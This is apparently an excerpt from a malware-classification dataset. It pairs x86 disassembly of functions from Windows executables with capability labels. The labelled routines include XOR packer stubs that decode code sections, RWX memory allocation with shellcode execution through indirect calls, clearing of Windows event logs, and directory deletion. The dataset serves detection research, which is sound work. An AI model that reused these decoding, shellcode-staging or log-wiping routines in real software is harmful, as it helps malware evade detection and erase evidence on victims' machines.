joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401270
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
cmp dword [0x84f528], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
jne 0x4012a3
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov ecx, dword [0x430158]
mov edx, dword [0x43015c]
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
mov dword [ebp - 0x2c], 0x9e3779b9
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x24], edx
call fcn.00401260
mov eax, dword [0x430160]
mov ecx, dword [0x430164]
add dword [ebp - 8], 0x23f
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov ecx, dword [0x84f528]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x401348
push 0
lea edx, [ebp - 0x438]
push edx
push 0
call ebx
push 0
lea eax, [ebp - 0x38]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
mov eax, dword [ebp - 4]
mov ecx, dword [0x84f528]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x401362
mov dword [0x84eac4], 0xedeb2e40
jmp 0x401374
cmp ecx, 0x3eb
jne 0x401374
mov dword [0x84e474], 0
mov ecx, dword [ebp - 8]
add ecx, edi
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x10]
mov esi, edi
shr esi, cl
mov dword [0x84eac0], 0xf4ea3dee
add esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
cmp dword [0x84f528], 0x9e6
jne 0x4013ac
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommMask]
xor esi, dword [ebp - 4]
mov dword [ebp - 0x34], esi
mov eax, dword [ebp - 0x34]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
mov edx, dword [ebp - 0xc]
shl edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 8]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
nop
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
shr esi, cl
add esi, dword [ebp - 0x24]
cmp dword [0x84f528], 0x121
jne 0x401412
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov eax, dword [ebp - 4]
xor eax, esi
mov dword [ebp - 4], eax
sub edi, eax
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 8], eax
sub dword [ebp - 0x1c], 1
jne 0x4012f0
cmp dword [0x84f528], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x401456
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, dword [ebp - 0xc]
pop edi
mov dword [esi + 4], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401470
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x84f528]
mov ecx, dword [0x84e478]
shr eax, 3
sub esp, 8
test eax, eax
jbe 0x401504
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
cmp dword [0x84f528], 0x959
jne 0x4014ee
push 0
push 0
call esi
push str.rogajacasuyawegigonujutexebusageruguhumepipijonifizifocuvitisuxuzesubagixasoyabiy
push 0
push 0
call edi
push 0
push 0
push str.kihubatigu
push str.lejigowuxoyojagijaxujocihipubav
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov eax, dword [ebp - 4]
push eax
call fcn.00401270
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x4014a3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401870
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
cmp dword [0x84f528], 0x400
push esi
push edi
jne 0x4018b9
push 0
lea eax, [ebp - 0x424]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
lea esi, [ebp - 0x24]
call fcn.004019b0
mov ecx, esi
call fcn.004019d0
mov edi, dword [ebp - 4]
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharLowerBuffA]
xor esi, esi
cmp esi, 0xa50
jge 0x4018d8
push 0
lea ecx, [ebp - 0x424]
push ecx
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x2af68b
jle 0x4018ee
cmp edi, 0x78d9a205
jne 0x4018f7
inc esi
cmp esi, 0x1c5d
jl 0x4018c5
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
xor esi, esi
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call ebx
cmp esi, 0x206d47
jg 0x401924
inc esi
cmp esi, 0x4f6a4
jl 0x401905
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
xor esi, esi
nop
push 0
call edi
cmp esi, 0x2b259d
jle 0x401944
cmp ebx, 0x785074d5
jne 0x40194d
inc esi
cmp esi, 0x11915
jl 0x401930
mov edx, dword [0x43039c]
mov dword [0x84f528], edx
call fcn.00401600
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
mov edi, 0x3078f
pop ebx
lea ebx, [ebx]
cmp dword [0x84f528], 0x51f
jne 0x40198c
push 0
lea eax, [ebp - 0x824]
push eax
push 0x42cd98
call esi
sub edi, 1
jne 0x401970
mov eax, dword [0x84e478]
mov dword [0x84eabc], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40437b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f7a8]
jne 0x404385
repz ret
jmp fcn.00408e7c
Function at 0x40b20a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405026
and dword [ebp - 4], 0
cmp dword [0x43122c], 0
mov ebx, eax
jne 0x40b2bb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b36c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b36c
push eax
call fcn.00404fb4
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43122c], eax
call esi
push eax
call fcn.00404fb4
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x431230], eax
call esi
push eax
call fcn.00404fb4
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x431234], eax
call esi
push eax
call fcn.00404fb4
pop ecx
mov dword [0x43123c], eax
test eax, eax
je 0x40b2bb
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404fb4
pop ecx
mov dword [0x431238], eax
mov eax, dword [0x431238]
cmp eax, ebx
je 0x40b313
cmp dword [0x43123c], ebx
je 0x40b313
push eax
call fcn.0040502f
push dword [0x43123c]
mov esi, eax
call fcn.0040502f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b313
test edi, edi
je 0x40b313
call esi
test eax, eax
je 0x40b30a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b30a
test byte [ebp - 0xc], 1
jne 0x40b313
or dword [ebp + 0x10], 0x200000
jmp 0x40b34c
mov eax, dword [0x431230]
cmp eax, ebx
je 0x40b34c
push eax
call fcn.0040502f
pop ecx
test eax, eax
je 0x40b34c
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b34c
mov eax, dword [0x431234]
cmp eax, ebx
je 0x40b34c
push eax
call fcn.0040502f
pop ecx
test eax, eax
je 0x40b34c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43122c]
call fcn.0040502f
pop ecx
test eax, eax
je 0x40b36c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b36e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ed0
nop
nop
mov ecx, 0x17c478a5
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
mov ecx, 0x270e4eae
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x38c21b0d
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x3c8b25a9
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x7d106262
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x7ad934b7
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10009013
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10009022
pop dword [ebp - 0x2c]
mov eax, 0xb1ad653c
sub eax, 0xa1acd51a
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x12a67409
sub dword [ebp - 0x3c], 0xc4542ebe
mov dword [ebp - 0x38], 0x17178f14
add dword [ebp - 0x38], 0x1b1bbd31
mov dword [ebp - 0x34], 0xda5852b3
sub dword [ebp - 0x34], 0x8e0c0e85
mov dword [ebp - 0x30], 0xf1dcdae4
sub dword [ebp - 0x30], 0xf1dcdae4
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x4aec28bc
add dword [ebp - 0x3c], 0x2986409a
mov dword [ebp - 0x38], 0x98603c2
add dword [ebp - 0x38], 0x37e65db3
mov dword [ebp - 0x34], 0xd90b7a23
add dword [ebp - 0x34], 0x8a63f249
mov dword [ebp - 0x30], 0xc93c0f9a
add dword [ebp - 0x30], 0x36c3f066
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xcc827e1d
sub eax, 0xbc81bdf1
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x33ca4
push 0
call eax
mov ecx, 0x470ff45b
sub ecx, 0x470fbd1b
xor edx, edx
add edx, eax
mov ebx, 0x10047400
add ebx, dword [ebp - 0x2c]
mov esi, 0x6ab86661
add dword [ebp - 0x10], 0x3073fd8a
mov edi, dword [ebx]
xor dword [ebp - 0x14], ebx
sub edi, esi
mov dword [ebp - 0x10], 0xf1334b87
mov dword [edx], edi
add dword [ebp - 0x28], 0x315ef230
add edx, 0x2d433e51
sub edx, 0x2d433e4d
add ebx, 0xf3429700
sub ebx, 0xf34296fc
loop 0x10009135
add eax, 0xcfd3
mov ebx, eax
add eax, 0xfc1ccc24
sub eax, 0xfc1ccc1f
mov ecx, 0x50889d77
sub ecx, 0x40889d77
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x401330
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
cmp dword [0x8c7670], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
jne 0x401363
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
mov ecx, dword [0x4a8298]
mov edx, dword [0x4a829c]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], edx
call fcn.00401320
mov ebx, dword [ebp - 0x18]
mov eax, dword [0x4a82a0]
mov ecx, dword [0x4a82a4]
add ebx, 0x23f
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], 0x20
jmp 0x4013b0
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov ecx, dword [0x8c7670]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x401410
push 0
lea edx, [ebp - 0x430]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov eax, dword [ebp - 4]
mov ecx, dword [0x8c7670]
add eax, dword [ebp - 0x30]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x40142a
mov dword [0x8c6c0c], 0xedeb2e40
jmp 0x40143c
cmp ecx, 0x3eb
jne 0x40143c
mov dword [0x8c65c0], 0
mov ecx, dword [ebp - 0xc]
mov esi, edi
shr esi, cl
lea eax, [ebx + edi]
mov dword [ebp - 0x10], eax
mov dword [0x8c6c08], 0xf4ea3dee
add esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
xor dword [ebp - 4], eax
cmp dword [0x8c7670], 0x9e6
jne 0x401474
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor esi, dword [ebp - 4]
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x20]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov ecx, dword [ebp - 8]
shl ecx, 4
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
nop
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov esi, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
xor dword [ebp - 4], edx
shr esi, cl
add esi, dword [ebp - 0x2c]
cmp dword [0x8c7670], 0x121
jne 0x4014da
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov eax, dword [ebp - 4]
xor eax, esi
add ebx, 0x61c88647
sub edi, eax
sub dword [ebp - 0x1c], 1
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ebx
jne 0x4013b0
cmp dword [0x8c7670], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x401521
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov eax, dword [ebp - 8]
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401620
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x4a9448
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4a2e48
push eax
mov dword fs:[0], esp
sub esp, 0x504
cmp dword [0x8c7670], 0x5b1
push ebx
push esi
push edi
jne 0x4016ed
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x34]
call fcn.00401c70
push 0
mov dword [ebp - 4], 0
call fcn.00403a81
add esp, 4
jmp 0x401610
mov eax, dword [0x8c7670]
add eax, 0x1134b
push eax
push 0
mov dword [0x8c7670], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x8c7670]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x8c65c4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401739
lea eax, [ebp - 0x510]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401726
mov ecx, dword [0x8c7670]
xor esi, esi
test ecx, ecx
jbe 0x4017a9
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ebx, [ebx]
mov ecx, dword [0x8c7674]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x8c65c4]
mov byte [eax + esi], dl
mov ecx, dword [0x8c7670]
cmp ecx, 0xa8
jne 0x4017a4
push 0
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [ebp - 0x110]
push edx
call ebx
mov ecx, dword [0x8c7670]
inc esi
cmp esi, ecx
jb 0x401760
xor eax, eax
jmp 0x4017b0
lea edx, [ecx + eax]
cmp edx, 0xe
je 0x401845
inc eax
cmp eax, 0x39621
jl 0x4017b0
call fcn.00401530
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x4017dd
call fcn.004015f0
inc esi
cmp esi, 0x6753f
jl 0x4017d1
mov esi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov edi, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov ebx, 0x7b
jmp 0x401800
cmp dword [0x8c7670], 0x86
jne 0x40182a
push 0
push str.henanuhasov_xun
push str.ekuposu_nujuf
call esi
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub ebx, 1
jne 0x401800
call fcn.00401280
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x401850
Capabilities:
Access the windows event log
Clear windows event logs
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
cmp dword [0x8c7670], 0x400
push esi
push edi
jne 0x4018b8
push 0
call dword [sym.imp.USER32.dll_WindowFromDC]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll__lopen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea esi, [ebp - 0x24]
call fcn.004019b0
mov ecx, esi
call fcn.004019d0
mov edi, dword [ebp - 4]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetCaretPos]
xor esi, esi
cmp esi, 0xa50
jge 0x4018d0
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x2af68b
jle 0x4018e6
cmp edi, 0x78d9a205
jne 0x4018ef
inc esi
cmp esi, 0x1c5d
jl 0x4018c4
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
lea ecx, [ecx]
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp esi, 0x206d47
jg 0x40191d
inc esi
cmp esi, 0x4f6a4
jl 0x401900
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor esi, esi
push 0
call edi
cmp esi, 0x2b259d
jle 0x40193c
cmp ebx, 0x785074d5
jne 0x401945
inc esi
cmp esi, 0x11915
jl 0x401928
mov ecx, dword [0x4a84dc]
mov edx, dword [0x4a84b0]
mov dword [0x8c7670], ecx
mov dword [0x8c7674], edx
call fcn.00401620
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov edi, 0x3078f
pop ebx
mov edi, edi
cmp dword [0x8c7670], 0x51f
jne 0x40198c
push 0
lea eax, [ebp - 0x424]
push eax
push str.kuzekaziguzedabixuve
call esi
sub edi, 1
jne 0x401970
mov eax, dword [0x8c65c4]
mov dword [0x8c6c04], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4043db
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a7560]
jne 0x4043e5
repz ret
jmp fcn.0040866c
Function at 0x40b68a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406f5e
and dword [ebp - 4], 0
cmp dword [0x4a936c], 0
mov ebx, eax
jne 0x40b73b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b7ec
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b7ec
push eax
call fcn.00406eec
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4a936c], eax
call esi
push eax
call fcn.00406eec
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4a9370], eax
call esi
push eax
call fcn.00406eec
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4a9374], eax
call esi
push eax
call fcn.00406eec
pop ecx
mov dword [0x4a937c], eax
test eax, eax
je 0x40b73b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406eec
pop ecx
mov dword [0x4a9378], eax
mov eax, dword [0x4a9378]
cmp eax, ebx
je 0x40b793
cmp dword [0x4a937c], ebx
je 0x40b793
push eax
call fcn.00406f67
push dword [0x4a937c]
mov esi, eax
call fcn.00406f67
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b793
test edi, edi
je 0x40b793
call esi
test eax, eax
je 0x40b78a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b78a
test byte [ebp - 0xc], 1
jne 0x40b793
or dword [ebp + 0x10], 0x200000
jmp 0x40b7cc
mov eax, dword [0x4a9370]
cmp eax, ebx
je 0x40b7cc
push eax
call fcn.00406f67
pop ecx
test eax, eax
je 0x40b7cc
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b7cc
mov eax, dword [0x4a9374]
cmp eax, ebx
je 0x40b7cc
push eax
call fcn.00406f67
pop ecx
test eax, eax
je 0x40b7cc
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4a936c]
call fcn.00406f67
pop ecx
test eax, eax
je 0x40b7ec
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b7ee
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43100c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
